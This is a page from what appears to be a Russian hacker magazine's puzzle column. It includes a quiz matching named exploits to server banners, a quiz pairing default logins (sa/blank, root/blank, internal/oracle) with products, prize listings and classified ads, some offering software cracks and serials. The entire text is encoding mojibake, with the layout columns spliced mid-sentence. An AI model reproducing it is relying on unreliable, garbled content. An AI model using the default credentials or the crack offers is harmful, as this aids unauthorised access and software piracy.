Îäèí çëîáíûé script kiddie ïîä<br />
íèêîì aibol îò íå÷åãî äåëàòü<br />
åæåäíåâíî äåôåéñèë äåñÿòêè<br />
ñàéòîâ. Ò. ê. îí ýòî äåëàë ÷àñòî<br />
è ïîìíîãó, òî ó íåãî íà ñîáñòâåííîì<br />
ñêàðæåííîì øåëëå ñêîïèëîñü<br />
îãðîìíîå êîëè÷åñòâî<br />
ñïëîèòîâ âñåõ ìàñòåé, ñðåäè íèõ<br />
áûëè òàêèå èçâåñòíûå ýêçåìïëÿðû,<br />
êàê 7350fun, 7350wurm,<br />
q1telnet, 7350854, x2, apachenosejob.<br />
Çäåñü íóæíî çàìåòèòü,<br />
÷òî þçàòü ÷óæèå ýêñïëîèòû - ýòî<br />
åäèíñòâåííîå, ÷òî îí óìåë äåëàòü<br />
õîðîøî, è êîíêðåòíî ãîðäèëñÿ<br />
ñâîèì «èñêóññòâîì». Îäíàêî<br />
ïåðåä âñåìè ñâîèìè çíàêîìûìè<br />
â IRC ãíóë ïàëüöû è ãîâîðèë,<br />
÷òî äåôåéñ - ýòî ñóùàÿ ÷åïóõà,<br />
è îí ñïîñîáåí íà áîëüøåå<br />
\m/ \m/. Íî íå â ýòîì ñóòü. Íåêîòîðûõ<br />
ïðåäñòàâèòåëåé äîáëåñòíûõ<br />
ðîññèéñêèõ ñïåöñëóæá ïîðÿäêîì<br />
äîñòàë ýòîò àéáîë, ò. ê. ê<br />
íèì ïîñòîÿííî ïðèõîäèëè æàëîáû<br />
ñî âñåõ êîíöîâ ñâåòà îò àäìèíîâ<br />
ïîõàêàííûõ ñàéòîâ ñ<br />
ïðîñüáîé óñìèðèòü çàðâàâøåãîñÿ<br />
«õàêåðà». Óñòàâ îò ýòèõ ïîñëàíèé,<br />
ëþäè â øòàòñêîì ðåøèëè<br />
âîñïîëüçîâàòüñÿ ñòàðîé êàê ìèð<br />
«óòêîé» è îòïðàâèëè íà ìûëî îòâàæíîìó<br />
äåôåéñåðó ïèñüìî ïðèìåðíî<br />
ñëåäóþùåãî ñîäåðæàíèÿ:<br />
Ïåðâûé áàííåð:<br />
OpenBSD 3.1 x86/Apache<br />
1.3.24 PHP 4.2.1<br />
Âòîðîé áàííåð:<br />
Port 23 FreeBSD 4.3-<br />
RELEASE/i386<br />
Hello, script kiddie!<br />
Êîëîíêè SVEN SPS-611 300w PMPO<br />
îòâåòû ñàìûì ïåðâûì. È<br />
íå íàäî ìåíÿ ãðóçèòü, ÷òî<br />
ê òåáå æóðíàë ïîçäíî ïðèõîäèò<br />
— ó íàñ â X-Puzzle<br />
áûëè ïîáåäèòåëè èç Áåëîðóññèè,<br />
Àçåðáàéäæàíà,<br />
Óðàëà è ïðî÷èõ äûð. Òàê<br />
÷òî äåëàé âûâîäû!<br />
Èòàê, ïåðâûé ïðèç ïîëó-<br />
÷àåò madcyber (madcyber@mail.ru)!<br />
«ÏÎÌÎÃÈ ÀÉÁÎËÓ»<br />
Çäðàâñòâóéòå, óâàæàåìûé aibol.<br />
Âàñ áåñïîêîèò ôèðìà «Security<br />
Fake». Ìû ñïåöèàëèçèðóåìñÿ íà<br />
êîìïüþòåðíîé áåçîïàñíîñòè è<br />
ïðèãëàøàåì Âàñ ê íàì íà ðàáîòó.<br />
Ìû íàñëûøàíû î Âàøèõ ïîäâèãàõ<br />
è çíàåì, ÷òî Âû êðóòîé ìýí.<br />
Ïðåäëàãàåì Âàì äëÿ íà÷àëà îêëàä<br />
5000$. Ïîíèìàåì, ÷òî äëÿ ÷åëîâåêà<br />
Âàøåãî óðîâíÿ ýòî î÷åíü ìàëî,<br />
íî âñå-òàêè íàäååìñÿ, ÷òî Âû<br />
çàèíòåðåñóåòåñü íàøèì ïðåäëîæåíèåì.<br />
Åñëè Âû ñîãëàñèòåñü,<br />
Âàì íóæíî ïðèåõàòü ê íàì â îôèñ<br />
è ïðîäåìîíñòðèðîâàòü ñâîå èñêóññòâî,<br />
÷òîáû ìû áûëè óâåðåíû,<br />
÷òî Âû òîò, çà êîãî ñåáÿ âûäàåòå.<br />
Äèðåêòîð ôèðìû «Security Fake»<br />
Óòêèí Å.Å.<br />
Àéáîë, êîòîðûé â ñâîè 15 ëåò<br />
âèäåë òàêèå äåíüãè òîëüêî â<br />
ìóëüòèêàõ ïðî Ñêðóäæà Ìàêäàêà,<br />
íå ðàçäóìûâàÿ, ñîãëàñèëñÿ íà<br />
ñòîëü çàìàí÷èâîå ïðåäëîæåíèå.<br />
È âîò îí âîñòîðæåííûé ïðèáûë â<br />
«îôèñ» ôåéêîâîé ôèðìû. Ëþäè<br />
â øòàòñêîì ñðàçó äàëè åìó çàäàíèå<br />
ïîëó÷èòü äîñòóï ê íåêîòîðûì<br />
ñåðâàêàì ñ ëþáûìè ïðàâàìè.<br />
Ïðîñêàíèðîâàâ ñåðâàêè è<br />
ïîñìîòðåâ áàííåðû íà îòêðûòûõ<br />
ïîðòàõ, ÷óâàê ñâîèì äåôåéñåð-<br />
Òðåòèé áàííåð:<br />
OpenSSH 1.2.3<br />
linux/x86<br />
×åòâåðòûé áàííåð:<br />
Apache 1.3.20/PHP 4.0.7<br />
(Linux-Debian)<br />
Ìûøü LOGITECH Wheel Mouse PS/2<br />
USB îïòè÷åñêàÿ<br />
Âòîðîé ïðèç ìû îòäàåì íåêòî<br />
Uri Jee (uriz@yandex.ru).<br />
 ïðîøëîì íîìåðå ñàìûì<br />
îòãàäûâàåìûì áûë ïàçë «Õóäîæåñòâà<br />
íà HTML». Êàêèõ<br />
òîëüêî ïñåâäîàìåðèêàíñêèõ<br />
ôëàãîâ ÿ íå óâèäåë! Íî ñäåëàòü<br />
êîä íàìíîãî ìåíüøå<br />
ìîåãî íèêòî íå ñìîã. Ïîïàäàëèñü<br />
ìèçåðíûå ýêçåìïëÿðû<br />
ïîñòðîåííûå ñ ïîìîùüþ<br />
CSS, íî âñå-òàêè ÿ ïðîñèë<br />
íàðèñîâàòü ôëàã òîëüêî ñ<br />
ïîìîùüþ ñòàíäàðòíûõ òåãîâ!<br />
ñêèì ãëàçîì óâèäåë, ÷òî íà êàæäîì<br />
èç íèõ ïðèñóòñòâóþò èçâåñòíûå<br />
áàãè (ëþäè èç îðãàíîâ çíàëè,<br />
÷òî åìó ïîäñóíóòü), à ê ýòèì<br />
áàãàì åñòü ñïëîèòû, êîòîðûå<br />
õðàíÿòñÿ ó íåãî íà øåëëå. Íî<br />
âîçíèêëà íåáîëüøàÿ òðàáëà, äàóíèòî-õðîìîñîìà<br />
ìåøàëà ïàðíþ<br />
âñïîìíèòü, êàêîé ñïëîèò äëÿ êàêîé<br />
äûðû ïðåäíàçíà÷åí. Ïîýòîìó<br />
îí íà÷àë ïðîñìàòðèâàòü èõ ïî<br />
ïîðÿäêó, à òàê êàê ñïëîèòîâ ó íåãî<br />
áûë íå îäèí äåñÿòîê, òî ïðîöåññ<br />
íåñêîëüêî çàòÿíóëñÿ. Ñîòðóäíèêè<br />
óæå íà÷àëè çåâàòü.<br />
Îòñþäà çàäàíèå: ïðåäñòàâü, ÷òî<br />
òû îäèí èç ïðåäñòàâèòåëåé âíóòðåííèõ<br />
îðãàíîâ è õî÷åøü ïîñêîðåå<br />
«ñêðóòèòü» ïàðíÿ è îòäàòü<br />
åãî ïîä ñóä, â ðåçóëüòàòå êîòîðîãî<br />
îí ïîëó÷èò óñëîâíûé ñðîê è<br />
óæå íèêîãäà íå ñìîæåò óñòðîèòüñÿ<br />
íà íîðìàëüíóþ ðàáîòó. Êðîìå<br />
òîãî, åãî ðîäèòåëåé îáëîæàò íåïîìåðíûì<br />
øòðàôîì, íà êîòîðûé<br />
îíè áóäóò ãîðáàòèòüñÿ äî êîíöà<br />
ñâîèõ äíåé. Êîðî÷å, ñûãðàé ðîëü<br />
ïîñëåäíåãî ãàäà è äëÿ óñêîðåíèÿ<br />
ïðîöåññà ïîäñêàæè ïàðíþ, êàêîé<br />
ñïëîèò äëÿ êàêîé äûðû ïðåäíàçíà÷åí.<br />
Ýêñïëîèòû, êîòîðûå èìåþòñÿ<br />
ó script kiddie, ïåðå÷èñëåíû<br />
âûøå, à èíôîðìàöèÿ íà áàííåðàõ<br />
áûëà ïðèìåðíî ñëåäóþùàÿ:<br />
Ïÿòûé áàííåð:<br />
FTP server (Version wu-<br />
2.6.1(1)) Linux/x86<br />
Øåñòîé áàííåð:<br />
Red Hat 7.1/i586<br />
Fuck u, lamo!<br />
login:<br />
Çà óñïåøíî ïðîâåäåííóþ îïåðàöèþ âûøåñòîÿùåå íà÷àëüñòâî íàãðàäèò òåáÿ ìåäàëüþ è ÎÃÐÎÌÍÎÉ ïðåìèåé â 2000 ðóáëåé!<br />
110 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
 îäíîé êîíòîðå ðàáîòàë<br />
î÷åíü ïåäàíòè÷íûé àäìèí. Îí<br />
âñåãäà ïðèõîäèë íà ðàáîòó<br />
âîâðåìÿ, ÷åòêî âûïîëíÿë<br />
ñâîè îáÿçàííîñòè, íå ïèë, íå<br />
êóðèë, â êîëëåêòèâå<br />
ïîëüçîâàëñÿ áîëüøèì<br />
óâàæåíèåì, íî... êàê ýòî<br />
ñâîéñòâåííî âñåì ëþäÿì,<br />
èìåë ìàëåíüêèé íåäîñòàòîê.<br />
Ëþáèë îí, çíàåòå ëè,<br />
«ÂÇËÎÌ ÏÎ ÄÅÔÎËÒÓ»<br />
Íèæå òû âèäèøü äîñòàòî÷íî<br />
èçâåñòíûå äåôîëòîâûå<br />
ïàðû user/password ê ðàçëè÷íûì<br />
ïðîãðàììíûì ïðîäóêòàì<br />
è êîììóíèêàöèîííûì<br />
óñòðîéñòâàì:<br />
1. tech/tech<br />
2. sa/<br />
3. security/security<br />
4. /1234<br />
5. root/<br />
6. internal/oracle<br />
7. /ñ<br />
8. /<br />
Åñëè áû áûëî òî÷íî èçâåñòíî,<br />
÷òî â ñèñòåìå íå îòêëþ÷åíà<br />
äåôîëòîâàÿ çàïèñü,<br />
òî êàêóþ èç ïðèâåäåííûõ<br />
÷àñòåíüêî ïîáàëîâàòü ñåáÿ<br />
òðàâêîé. Áûâàëî, çàéäåò â<br />
òóàëåò âî âðåìÿ ðàáî÷åãî<br />
äíÿ, çàêðîåòñÿ, ðàñêóðèò<br />
êîñÿ÷îê, à ïîòîì íà÷èíàåò<br />
âñåõ àäìèíèòü (îñîáåííî<br />
ëþáèë àäìèíèòü æåíùèí). È<br />
âñå áû íè÷åãî (íó,<br />
ïîäóìàåøü, ïàðåíü<br />
óâëåêàåòñÿ äóðüþ, âñå ìû íå<br />
áåç ãðåõà), ïîêà ýòî<br />
ïàð òû áû èñïîëüçîâàë â<br />
ñëåäóþùèõ öåëÿõ:<br />
A. Cisco 2600s<br />
B. Microsoft SQL Server 7<br />
C. Zyxel ISDN-Router Prestige<br />
100IH<br />
D. Oracle 8i<br />
E. Windows 98SE<br />
F. 3Com CoreBuilder 7000<br />
G. MySQL 3.23.23<br />
H. Bay Networks SuperStack II<br />
ÀÄÌÈÍÎÂÑÊÈÅ ÃËÞÊÈ<br />
óâëå÷åíèå íå ñòàëî ìåøàòü<br />
åãî ðàáîòå. Ò.ê. äóðü áûëà<br />
õîðîøàÿ (200 áàêñîâ çà<br />
ïàêåò), òî îò ÷àñòîãî<br />
óïîòðåáëåíèÿ åãî íà÷àëî<br />
«êëèíèòü» (ñîâåðøåííî<br />
ïåðåñòàë îòëè÷àòü ðåàëüíîñòü<br />
îò ãëþêîâ). Òî, áûâàëî, âèðÿ<br />
ñàì â ñâîåé ñåòè çàïóñòèò, òî<br />
îïòîâîëîêíî ãäå-íèáóäü<br />
ëåçâèåì ïîðåæåò, òî<br />
Íàéäè ñåìü ãëþêîâ íà ýòîé êàðòèíêå<br />
«ÐÓÁÐÈÊÀ ÏÐÈÓÐÎ×ÅÍÀ Ê 1 ÀÏÐÅËß»<br />
êîìïüþòåð íà÷àëüíèêà õàêíåò,<br />
óäàëèâ ñ íåãî âñå âàæíûå<br />
äîêóìåíòû. Êîðî÷å, ñîâñåì<br />
çàáîëåë ïàöàí. Îí óæå è<br />
òðàâêîé ñòàë ñåáÿ ïî<br />
ìèíèìóìó áàëîâàòü, à ãëþêè<br />
âñå ðàâíî ïåðèîäè÷åñêè<br />
âîçíèêàëè. È âîò ñèäèò îí<br />
ñåé÷àñ ïåðåä ñâîèì ðàáî÷èì<br />
êîìïüþòåðîì, ñìîòðèò íà<br />
ýêðàí (ñì. ñêðèíøîò) è íå<br />
3 ïðèç 4 ïðèç<br />
Êëàâèàòóðà MITSUMI Millenium PS/2<br />
Win98 Intermedia<br />
Òðåòèé ïðèç çàáèðàåò Åëåíà<br />
Åôðåìîâà. Ïðèÿòíî,<br />
âñå-òàêè, ÷òî íàöèîíàëüíûé<br />
èíòåëëåêòóàëüíûé ðåçåðâ<br />
õðàíèòñÿ â òîì ÷èñëå è â<br />
ãîëîâàõ ïðåäñòàâèòåëüíèö,<br />
â öåëîì, íåêîìïüþòåðíîãî<br />
ïîëà. Òîëüêî íå âûõîäè çàìóæ<br />
çà èíîñòðàíöà, Ëåíà!<br />
Ïîääåðæè îòå÷åòñâåííîãî<br />
ïðîèçâîäèòåëÿ!<br />
Èãðîâîé ïóëüò LOGITECH "WingMan<br />
Precision Gamepad"<br />
×åòâåðòûé äåâàéñ îòïðàâëÿåòñÿ<br />
«ñòóäåíòó» (dumstd@list.ru).<br />
Ñòóäåíòû,<br />
îíè âñåãäà âïåðåäè ïëàíåòû<br />
âñåé. Îïÿòü æå, ñàìûé<br />
ãåéìåðñêèé ñëîé íàñåëåíèÿ.<br />
(Ïðîøó íå ïóòàòü:<br />
íå "ãåé ìåðçêèé", à<br />
"ãåéìåðñêèé" - ýòî áîëüøàÿ<br />
ðàçíèöà.) Òàê ÷òî íàø<br />
ïðèç îáÿçàòåëüíî íàéäåò<br />
äîñòîéíîå ïðèìåíåíèå,<br />
âåðíî, ñòóäåíò?<br />
ïîéìåò, êëèíèò åãî, èëè âñå<br />
íîðìàëüíî... Íà ïåðâûé<br />
âçãëÿä âñå êàê îáû÷íî, XP è<br />
ñòàíäàðòíûå ïðîãðàììû, âñå<br />
ðàáîòàåò, íè÷åãî íå ïîâèñëî,<br />
íî ÷òî-òî çäåñü íå òàê...<br />
Ïîñìîòðè íà ñêðèíøîò è ïîñòàðàéñÿ<br />
äîêàçàòü áåäíÿãå, ÷òî åãî ãëþ÷èò,<br />
ïðè÷åì ãëþ÷èò ñèëüíî...<br />
(Ïîäñêàçêà: ÿ íàñ÷èòàë 7 ãëþêîâ,<br />
ïîïðîáóé è òû èõ íàéòè.)<br />
Ïðàâèëüíûå<br />
îòâåòû ÷èòàé â<br />
ñëåäóþùåì<br />
íîìåðå. Åñëè<br />
õî÷åøü ïîëó÷èòü<br />
ïðèç, ïðèñûëàé<br />
îòâåòû äî 1 ìàÿ.<br />
Íà ýòîì âåäóùèé<br />
ðóáðèêè ñ òîáîé<br />
ïðîùàåòñÿ —<br />
ðóáðèêà X-Puzzle<br />
çàêîí÷èëà ñâîå<br />
ñóùåñòâîâàíèå...<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 111
Þíèòû<br />
Áîðäà<br />
Ìåññàäæ ìîæíî çàêèíóòü íà<br />
board@real.xakep.ru<br />
Õîðîøèé êîäåð íà Delphi íàïèøåò ïî÷òè ëþáóþ<br />
ïðîãðàììó è èùåò ïðîãðàììåðîâ äëÿ ïåðåïèñêè<br />
è îáìåíà èíôîé<br />
alex2785@mail.ru<br />
Ïðîäàþ 7-çíà÷íûå è 6-çíà÷íûå àñè. Öåíû - 6çí.<br />
- 3$ 7-çí - 2 $<br />
31337 31337 [31337men@stsland.ru]<br />
Êóïëþ äèñêè îò æóðíàëîâ "Õàêåð"<br />
(06.02(42),07.02(43),08.02(44)) èëè ïåðåïèñàíûå<br />
íà cd-r.<br />
Ìûëèòü ñþäà: kuper@list.ru<br />
À-Á<br />
Â-Ã<br />
Ä-Å<br />
Íàéäó êðÿê\ñåðèéíèê ê ëþáîé ïðîãå. Îïëàòà â<br />
$(WM). Ìûëèòü íà osirus@km.ru<br />
Ïðåäîñòàâëÿþ óñëóãè òðåíåðà ïî Counter-Strike<br />
!<br />
FERZ [umka-007@mtu-net.ru]<br />
Ñäåëàþ ñàéò: íåîáû÷íûé äèçàéí, õîðîøî<br />
çàñêðèïòîâàííûé, çàéìóñü åãî æå ðàñêðóòêîé.<br />
Îáúÿâëåíèÿ ðåêëàìíîãî õàðàêòåðà<br />
íå ïóáëèêóþòñÿ!<br />
1. ìû íå áóäåì ðåêëàìèðîâàòü òâîþ ñòðàíè÷êó, ñåðâåð è ïðî÷åå<br />
2. âñå ïèñüìà ñ ìàòîì è ïðî÷åé øíÿãîé óäàëÿþòñÿ ñðàçó<br />
3. ìû ïîñòàðàåìñÿ ðàçìåùàòü ñîîáùåíèÿ â áëèæàéøèõ íîìåðàõ,<br />
íî íè÷åãî íå îáåùàåì :)<br />
Å-Æ Å-Æ<br />
Öåíà 10-20$ â çàâèñèìîñòè îò ñëîæíîñòè<br />
ðàáîòû. Òàêæå ïðåäëàãàþ âñòóïèòü â íàøó<br />
êîìàíäó äèçàéíåðîâ è ïðîîãðàìèñòîâ.<br />
bonus@bashnet.ru<br />
Íàðîä, ïðèìó â äàð â õîðîøèå ðóêè ìåòîäèêó<br />
ïî îáûãðûâàíèþ èíòåðíåò êàçèíî. Çàðàíåå<br />
áëàãîäàðåí çà âñå ïðåäëîæåíèÿ.<br />
ìåñàãè íàìûëèâàòü íà: tol_gagilev@xakep.ru<br />
Ïðèìó â äàð ëþáîå æåëåçî äëÿ óêðàøåíèÿ<br />
êîìíàòû<br />
Nastym n [nastym_n@pisem.net]<br />
Ê-Ë<br />
èùó ðàáîòó: 19ëåò (Ìîñêâà)<br />
Íàñòðîéêà, ñáîðêà, îáñëóæèâàíèå ÏÊ<br />
òàêæå çíàþ: Flash, HTML, AutoCAD,<br />
Dreamweaver, Word, Excel.<br />
zona3da@narod.ru Àðòåì<br />
Êóðñîâûå ðàáîòû. Êàíäèäàò þðèäè÷åñêèõ íàóê.<br />
Íåäîðîãî. Íå Èíòåðíåò. Ìîæíî ñðî÷íî.<br />
kx2@yandex.ru<br />
Ïðîäàåòñÿ àíëèì. Ìîñêâà. Êîííåêò ìîäåìíûé,<br />
íå êðàäåíûé. Âñåãî 35 ÂÌ â ìåñ. Âîçìîæíû<br />
ñêèäêè.<br />
Ïèøèòå íà ìûëî linke@newmail.ru<br />
Ïîìåíÿþ win2k server êîïèþ ñ ëèöåíçèè (íè ãäå<br />
íå óñòàíàâëèâàëàñü!! ñ ðàáîòû ñïåð :-) íà asp<br />
linux 7.3 delux edition êîïèþ èëè íà áîêñ ñ<br />
äîïëàòîé.<br />
ICQ 277140111<br />
E-ìûëî -ziperr2@yandex.ru<br />
Ïðîäàì æóðíàë ÕÀÊÅÐ, âñå íà÷èíàÿ ñ 3-ãî<br />
íîìåðà âêëþ÷àÿ âñå ñïåöû.<br />
Äëÿ Ïèòåðöåâ. sharbaks@nwgsm.ru<br />
Ñîçäà¸òñÿ èãðà(ñóïåð,ïóïåð ñòðàòåãèÿ), âñ¸<br />
óæå ãîòîâî, íî íàì ïîçàðåç òðåáóåòñÿ 2D, 3D<br />
äèçàéíåð. Ìûëüòå íà<br />
new-alex@mail.ru<br />
Þ-ß<br />
ß íåïëîõîé âåðñòàëüùèê DHTML, èìåþ çàöåïêè<br />
íà êëèåíòîâ, íî ó ìåíÿ íåò<br />
íàïàðíèêà! Ìíå íåîáõîäèì õóäîæíèê, êîòîðûé<br />
ìîæåò ðèñîâàòü äëÿ âåá.<br />
Åñòü æåëàíèå, ïèøèòå 4maxidron@mail.ru èëè<br />
ICQ 156182480<br />
È-Ê
VER 04.03 (52)